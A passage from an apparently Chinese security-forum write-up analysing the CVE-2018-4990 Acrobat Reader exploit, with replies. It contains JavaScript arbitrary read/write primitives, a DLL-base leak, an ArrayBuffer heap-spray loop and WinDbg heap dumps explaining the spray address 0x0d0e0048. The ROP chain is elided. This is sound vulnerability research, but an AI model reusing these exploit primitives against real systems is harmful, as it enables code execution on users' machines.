        // myarray 即为 Uint32ArrayObject for R/W
        myarray = arr1[itmp];

        // biga.getUint32(i2 + 4,true) - spraypos + 0x50 = Uint32ArrayObject.buffer = mypos = addr for R/W primitives
        mypos = biga.getUint32(i2 + 4, true) - spraypos + 0x50;

        // set Uint32ArrayObject.byteLength = 0x100000
        mydv.setUint32(mypos - 0x10, 0x100000, true);

        // myarraybase is for restore
        // myarraybase 正常应该为 0x0d130058
        myarraybase = mydv.getUint32(mypos, true);

        var rop1 = [...];

        // obj1 = Unit32ArrayObject
        var obj1 = myread(myarraybase - 8);

        // obj2 = poi(Unit32ArrayObject + 4)
        var obj2 = myread(obj1 + 4);

        // obj3 = poi(obj2), obj3 处于 Unit32ArrayObject 对象的虚函数表(IDA 中可以看到)
        var obj3 = myread(obj2);

        var dll_base = (myread(obj3 + 8) - 0x00010000 ) & 0xffff0000;

DataView 任意地址读写原语

function myread(addr)
{
    mydv.setUint32(mypos, addr, true);        // 替换 Uint32ArrayObject.buffer 为 addr
    var res = myarray[0];                     // 读取 addr 开始的 4 字节
    mydv.setUint32(mypos, myarraybase, true); // 还原 Uint32ArrayObject.buffer
    return res;
}

function mywrite(addr, value)
{
    mydv.setUint32(mypos, addr, true);        // 替换 Uint32ArrayObject.buffer 为 addr
    myarray[0] = value ;                      // 将 value 写入 addr 开始的 4 字节
    mydv.setUint32(mypos, myarraybase, true); // 还原 Uint32ArrayObject.buffer
}

为什么是 0x0d0e0048?

Windows下的HEAP_SEGMENT

想必大家看到 CVE-2018-4990 的利用代码后都会有这个问题:为什么 ArrayBuffer 的堆喷射会精准喷射到 0x0d0e0048 的位置且且此位置恰好为 ArrayBuffer.buffer 的 head 起始处。

 

实际调试发现,Adobe Reader 会在内存中 commit 一些较大的堆块,大小为 0xfc1000,在这些堆块的起始处有一个大小为 0x48 的头部,这 0x48 字节其实是一个 HEAP_SEGMENT(0x40字节) 加一个紧邻的 HEAP_ENTRY(0x08字节) 。(此处感谢代码疯子前辈指导)

0:010> dd 057b0010-10 l48/4
057b0000  651399f6 01017189 ffeeffee 00000000
057b0010  06780010 04fb0010 00230000 057b0000
057b0020  00000fd0 057b0040 06780000 0000000f
057b0030  00000001 00000000 06770ff0 06770ff0
057b0040  4d13b9fe 08017181

// 0x48 字节后紧随大小为 0xffe8 的 ArrayBuffer.buffer
0:013> dd
057b0048  00000000 0000ffe8 00000000 00000000
057b0058  00000000 00000000 00000000 00000000
057b0068  00000000 00000000 00000000 00000000
057b0078  00000000 00000000 00000000 00000000
057b0088  00000000 00000000 00000000 00000000
057b0098  00000000 00000000 00000000 00000000
057b00a8  00000000 00000000 00000000 00000000
057b00b8  00000000 00000000 00000000 00000000

0:013> dt _HEAP_SEGMENT 057b0000
ntdll!_HEAP_SEGMENT
   +0x000 Entry            : _HEAP_ENTRY
   +0x008 SegmentSignature : 0xffeeffee
   +0x00c SegmentFlags     : 0
   +0x010 SegmentListEntry : _LIST_ENTRY [ 0x6780010 - 0x4fb0010 ]
   +0x018 Heap             : 0x002d0000 _HEAP
   +0x01c BaseAddress      : 0x057b0000
   +0x020 NumberOfPages    : 0xfd0
   +0x024 FirstEntry       : 0x057b0040 _HEAP_ENTRY
   +0x028 LastValidEntry   : 0x06780000 _HEAP_ENTRY
   +0x02c NumberOfUnCommittedPages : 0xf
   +0x030 NumberOfUnCommittedRanges : 1
   +0x034 SegmentAllocatorBackTraceIndex : 0
   +0x036 Reserved         : 0
   +0x038 UCRSegmentList   : _LIST_ENTRY [ 0x6770ff0 - 0x6770ff0 ]

0:013> dt _HEAP_SEGMENT UCRSegmentList. 057b0000
ntdll!_HEAP_SEGMENT
   +0x038 UCRSegmentList  :  [ 0x6770ff0 - 0x6770ff0 ]
      +0x000 Flink           : 0x06770ff0 _LIST_ENTRY [ 0x57b0038 - 0x57b0038 ]
      +0x004 Blink           : 0x06770ff0 _LIST_ENTRY [ 0x57b0038 - 0x57b0038 ]

// windows 7 下的 HEAP_ENTRY 结构是经过加密的,我们需要拿到 HEAP.Encoding 成员进行 xor 解密。
0:013> dt _HEAP Encoding. 2d0000
ntdll!_HEAP
   +0x050 Encoding  :
      +0x000 Size      : 0x7761
      +0x002 Flags     : 0x9b ''
      +0x003 SmallTagIndex : 0x47 'G'
      +0x000 SubSegmentCode : 0x479b7761
      +0x004 PreviousSize : 0x728b
      +0x006 SegmentOffset : 0 ''
      +0x006 LFHFlags  : 0 ''
      +0x007 UnusedBytes : 0 ''
      +0x000 FunctionIndex : 0x7761
      +0x002 ContextValue : 0x479b
      +0x000 InterceptorValue : 0x479b7761
      +0x004 UnusedBytesLength : 0x728b
      +0x006 EntryOffset : 0 ''
      +0x007 ExtendedBlockSignature : 0 ''
      +0x000 Code1     : 0x479b7761
      +0x004 Code2     : 0x728b
      +0x006 Code3     : 0 ''
      +0x007 Code4     : 0 ''
      +0x000 AgregateCode : 0x728b`479b7761

// 拿到经过 xor 加密的 _HEAP_ENTRY 成员数据
0:013> dt _HEAP_ENTRY 057b0040
ntdll!_HEAP_ENTRY
   +0x000 Size             : 0x5761
   +0x002 Flags            : 0x9a ''
   +0x003 SmallTagIndex    : 0x66 'f'
   +0x000 SubSegmentCode   : 0x669a5761
   +0x004 PreviousSize     : 0x7283
   +0x006 SegmentOffset    : 0x1 ''
   +0x006 LFHFlags         : 0x1 ''
   +0x007 UnusedBytes      : 0x8 ''
   +0x000 FunctionIndex    : 0x5761
   +0x002 ContextValue     : 0x669a
   +0x000 InterceptorValue : 0x669a5761
   +0x004 UnusedBytesLength : 0x7283
   +0x006 EntryOffset      : 0x1 ''
   +0x007 ExtendedBlockSignature : 0x8 ''
   +0x000 Code1            : 0x669a5761
   +0x004 Code2            : 0x7283
   +0x006 Code3            : 0x1 ''
   +0x007 Code4            : 0x8 ''
   +0x000 AgregateCode     : 0x8017283`669a5761

// 解密后的 size = 0x10000 bytes
0:013> ? (0x5761 ^ 0x7761) * 8
Evaluate expression: 65536 = 00010000

// 解密后的 Flags,1 表示堆块被占用
0:013> ? 0x9a ^ 0x9b
Evaluate expression: 1 = 00000001

// 解密后的 PreviousSize = 0x40 bytes
0:013> ? (0x7283 ^ 0x728b) * 8
Evaluate expression: 64 = 00000040

可以看到在32位进程地址空间的特定内存区域内的上述堆段块存在稳定的重复模式:

 

 

所以,当在不开启额外堆选项(堆申请栈回溯、页堆)的情况下, js 代码中连续申请大小为 0x10000 - 0n24 的 ArrayBuffer 对象时,每个 pattern 实际占用空间的总大小为 0x10(当前 ArrayBufferObject 的 buffer head) + (0x10000 - 0n24)(当前 ArrayBufferObject 的 buffer 大小) + 0x08(下一个 0x10000 堆块的 HEAP_ENTRY) = 0x10000 字节,在上述 0xfc1000 堆块区间内分配时,buffer head 地址是从每个 acro_header_obj + 0x48 开始,并以 0x10000 往后递增,所以会存在如下稳定的 pattern:

0:010> !heap -flt s fff8
    _HEAP @ 230000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        ...
        05771ea0 2000 2000  [00]   05771ea8    0fff8 - (busy)
        05781ea0 2000 2000  [00]   05781ea8    0fff8 - (busy)
        05791ea0 2000 2000  [00]   05791ea8    0fff8 - (busy) // 前面申请的 ArrayBufferObject.buffer 并没有遵循这种模式
        057b0040 2000 2000  [00]   057b0048    0fff8 - (busy) // 从这里开始末尾地址模式开始稳定
        057c0040 2000 2000  [00]   057c0048    0fff8 - (busy)
        057d0040 2000 2000  [00]   057d0048    0fff8 - (busy)
        057e0040 2000 2000  [00]   057e0048    0fff8 - (busy)
        057f0040 2000 2000  [00]   057f0048    0fff8 - (busy)
        ...
        0d0a0040 2000 2000  [00]   0d0a0048    0fff8 - (busy)
        0d0b0040 2000 2000  [00]   0d0b0048    0fff8 - (busy)
        0d0c0040 2000 2000  [00]   0d0c0048    0fff8 - (busy)
        0d0d0040 2000 2000  [00]   0d0d0048    0fff8 - (busy)
        0d0e0040 2000 2000  [00]   0d0e0048    0fff8 - (busy) // 0d0e0048 稳定位于某个 ArrayBufferObject.buffer 的 head (buffer - 0x10)
        0d0f0040 2000 2000  [00]   0d0f0048    0fff8 - (busy)
        0d100040 2000 2000  [00]   0d100048    0fff8 - (busy)
        0d110040 2000 2000  [00]   0d110048    0fff8 - (busy)
        ...

所以当以如下例子进行堆喷射时,利用编写者几乎可以确定 0x0d0e0048 处一定为某个 ArrayBuffer.buffer head 的起始处,后面依照这个假定来进行利用。而且 pdf 中 js 对象堆喷射的速度非常快,这些特性都有利于 Adobe Reader 中 UAF/类型混淆等类型的漏洞利用。

var spraylen  = 0x10000 - 24;
var spraynum  = 0x1000;
var sprayarr = new Array(spraynum);
sprayarr[0] = 0x12345678;

for(var i = 1; i < spraynum; i++)
{
    sprayarr[i] = new ArrayBuffer(spraylen);
}

app.alert("Allocate ArrayBuffer");

总结

本文对 CVE-2018-4990 的利用编写者在 Acrobat Reader DC 下借助一个越界释放漏洞实现任意地址读写原语的过程进一步了研究。从这些分析中可以看到利用编写者具体是如何精确地操作堆数据以实现稳定利用。

 

关于该漏洞在实现任意地址读写原语后进行 ROP 构造的相关细节可以参考这篇文章

 

关于该漏洞的其他细节可以参考这篇这篇这篇文章。

参考链接

A tale of two zero-days

 

CVE-2018-4990 Adobe Reader 代码执行漏洞利用分析

 

Adobe, Me and an Arbitrary Free :: Analyzing the CVE-2018-4990 Zero-Day Exploit

 

CVE-2018-4990 ACROBAT READER DC DOUBLE-FREE VULNERABILITY

 

CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析


[公告] 欢迎大家踊跃尝试高研班11月试题,挑战自己的极限!

最后于 2019-3-28 13:06 被银雁冰编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (3)
雪    币: 14790
活跃值: 活跃值 (23453)
能力值: (RANK:75 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2019-3-26 14:05
2
0
感谢分享~
雪    币: 234
活跃值: 活跃值 (24)
能力值: ( LV8,RANK:140 )
在线值:
发帖
回帖
粉丝
代码疯子 活跃值 3 2019-3-26 16:00
3
0
0x48 那个不是 acro_header ,李海飞那个 PPT 年代比较久远了,现在像这种大堆块都是直接 malloc / calloc 申请的,Adobe 没有自己做管理。

前面 0x40 是 ntdll!_HEAP_SEGMENT 结构所占用的空间。后面 8 字节是第一个堆块的 HEAP_ENTRY,和其他堆块一样,这个肯定都是有的,并不存在第一个堆块没有的情况。

0:012> dt _HEAP_SEGMENT 0a1b0000
ntdll!_HEAP_SEGMENT
   +0x000 Entry            : _HEAP_ENTRY
   +0x008 SegmentSignature : 0xffeeffee
   +0x00c SegmentFlags     : 2
   +0x010 SegmentListEntry : _LIST_ENTRY [ 0xb180010 - 0x9010010 ]
   +0x018 Heap             : 0x014e0000 _HEAP
   +0x01c BaseAddress      : 0x0a1b0000 Void
   +0x020 NumberOfPages    : 0xfcf
   +0x024 FirstEntry       : 0x0a1b0040 _HEAP_ENTRY
   +0x028 LastValidEntry   : 0x0b17f000 _HEAP_ENTRY
   +0x02c NumberOfUnCommittedPages : 0xe
   +0x030 NumberOfUnCommittedRanges : 1
   +0x034 SegmentAllocatorBackTraceIndex : 0
   +0x036 Reserved         : 0
   +0x038 UCRSegmentList   : _LIST_ENTRY [ 0xb170ff0 - 0xb170ff0 ]

0:012> dx -r1 (*((ntdll!_LIST_ENTRY *)0xa1b0038))
(*((ntdll!_LIST_ENTRY *)0xa1b0038))                 [Type: _LIST_ENTRY]
    [+0x000] Flink            : 0xb170ff0 [Type: _LIST_ENTRY *]
    [+0x004] Blink            : 0xb170ff0 [Type: _LIST_ENTRY *]

雪    币: 8589
活跃值: 活跃值 (2579)
能力值: ( LV15,RANK:760 )
在线值:
发帖
回帖
粉丝
银雁冰 活跃值 15 2019-3-26 16:04
4
0
原来如此,非常感谢!
游客
登录 | 注册 方可回帖
返回